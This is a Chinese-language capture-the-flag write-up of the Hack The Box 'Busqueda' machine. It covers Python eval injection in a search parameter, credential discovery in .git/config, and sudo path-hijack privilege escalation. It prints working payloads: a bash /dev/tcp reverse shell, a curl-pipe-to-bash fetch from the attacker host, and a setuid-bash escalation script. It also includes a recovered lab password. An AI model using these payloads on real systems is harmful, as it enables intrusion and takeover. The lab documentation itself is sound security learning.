準備:
攻擊機:虛擬機器kali和win10(常規操作就直接用本機win10來操作了)。
靶機:Inject,htb網站:https://www.hackthebox.com/,靶機地址:https://app.hackthebox.com/machines/Busqueda。
知識點:命令執行、敏感資訊發現。
備註:這個說難也難說簡單也是很簡單,如果要透過命令執行來進行shell反彈可能會有點難度,但是如果透過發現的密碼直接去登入就是比較簡單的。
一:資訊收集
1.nmap掃描
使用nmap掃描下幾個常見的埠和對應的服務資訊,顯示開放了22埠、80埠,開啟了ssh服務、http服務。
2.dns解析
訪問80埠的web服務時直接跳轉到了:http://searcher.htb/,因此需要進行dns解析,win:開啟C:\Windows\System32\drivers\etc\hosts檔案,kali:開啟/etc/hosts檔案,新增:10.10.11.208 searcher.htb。
二:資訊利用
1.bp抓包
隨便進行一個搜尋並抓取資料包,然後修改引數1為1'時,返回的資訊發生變化,那這裡有可能存在注入,但是經過後續測試發現不是sql注入。
2.命令執行
後面在首頁發現一個執行github的連線,https://github.com/ArjunSharda/Searchor,在該連結中找到了思路。
該搜尋也是直接將我們輸入的字串直接進行了拼接,例如:Engine.Google.search("Hello, World!")。整理下思路並在python中進行測試,發現當傳遞的引數為:1'+print('1')+'時會將print中的字串進行輸出,說明進行了命令執行。
#我們先是傳入了一個值給引數query
query = '1'
#然後將我們的引數帶入到下面並進行返回
Engine.Google.search(query)
#所以在我們傳輸1'的時候會進行報錯,傳入1''的時候又會恢復正常
然後依據格式修改語句在本地進行命令執行,將語句修改為:1'+__import__("os").system("calc.exe")+',成功開啟計算器。
然後在抓取的資料包中進行測試,將輸入的資料修改為:1'+print('234')+',但是並未執行print語句。後面對+進行了編碼後:1'%2bprint('234')%2b',print命令可以正常執行。
3.shell反彈
確定了命令執行的語句格式:1'+__import__("os").system("calc.exe")+',那我們就進行shell反彈,語句:1'%2b__import__("os").system("bash -i >&/dev/tcp/10.10.14.50/6688 0>&1")%2b',但是並未成功反彈shell。使用base64加密同樣不行。編碼也試了不行。不過確實是可以進行命令執行的,例如獲取id:1'%2bprint(__import__('os').system("id"))%2b',不過這裡發現了使用者名稱:svc。
無法反彈shell,那就先檢視下是否存在別的可以利用的資訊,傳遞引數:1'%2bprint(__import__('os').system("ls -al"))%2b',發現app.py檔案,讀取該檔案資訊:1'%2bprint(__import__('os').system("cat app.py"))%2b',獲得app.py內容,但是並沒有獲取到什麼有用的資訊。
app.py內容
from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html', options=Engine.__members__, error='')
@app.route('/search', methods=['POST'])
def search():
try:
engine = request.form.get('engine')
query = request.form.get('query')
auto_redirect = request.form.get('auto_redirect')
if engine in Engine.__members__.keys():
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True)
url = r.stdout.strip().decode()
if auto_redirect is not None:
return redirect(url, code=302)
else:
return url
else:
return render_template('index.html', options=Engine.__members__, error="Invalid engine!")
except Exception as e:
print(e)
return render_template('index.html', options=Engine.__members__, error="Something went wrong!")
if __name__ == '__main__':
app.run(debug=False)
繼續讀取.git目錄下的內容,在config檔案中發現:http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git,發現cody:jh1usoih2bkjaspwe92像是一組賬戶名,gitea.searcher.htb應該是一個子域名,但是/etc/passwd檔案中顯示不存在cody賬戶,存在svn賬戶,因此使用svc/jh1usoih2bkjaspwe92進行ssh連線,命令:ssh svc@10.10.11.208,成功獲得shell許可權。
/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
後面又想到上面既然有命令執行的漏洞了,沒道理反彈不了shell啊,就在網上查詢資料發現了subprocess函式,我們可以利用如下格式:eval(complie(“要執行的程式碼”),“<String>”,“exec”)進行shell反彈,exp:1'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system("curl http://10.10.14.50:8000/bash.sh | bash ")','a','single'))%2b',成功獲得shell許可權。
三:提權
檢視下當前賬戶是否存在可以使用的特權命令,sudo -l,發現存在(root) /usr/bin/python3 /opt/scripts/system-checkup.py *。
檢視system-checkup.py檔案,顯示我們缺少相關的檢視許可權,那就執行下命令,看有什麼提示。
在執行第三個命令:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup,的時候告訴我們存在一些錯誤(因為開始我忘記了切換目錄)而並不是許可權問題導致無法執行。
報錯之後就切換到/opt/scripts目錄,發現full-checkup.sh指令碼,重新執行上面的命令,發現正常執行,那這裡就想到他是呼叫了full-checkup.sh指令碼。
在執行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup時他呼叫的是執行目錄下的full-checkup.sh,因此我們就可以在/tmp目錄下建立一個full-checkup.sh檔案來寫入提權命令:chmod +s /bin/bash。這裡使用的是wget上傳到靶機,然後賦予執行許可權(注意下該檔案會被刪除,如果被刪除就重新上傳),然後執行:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup成功獲得root許可權。
獲得root許可權後在/root目錄和/home/svc目錄下分別讀取下root.txt、user.txt檔案,成功獲得兩個flag值。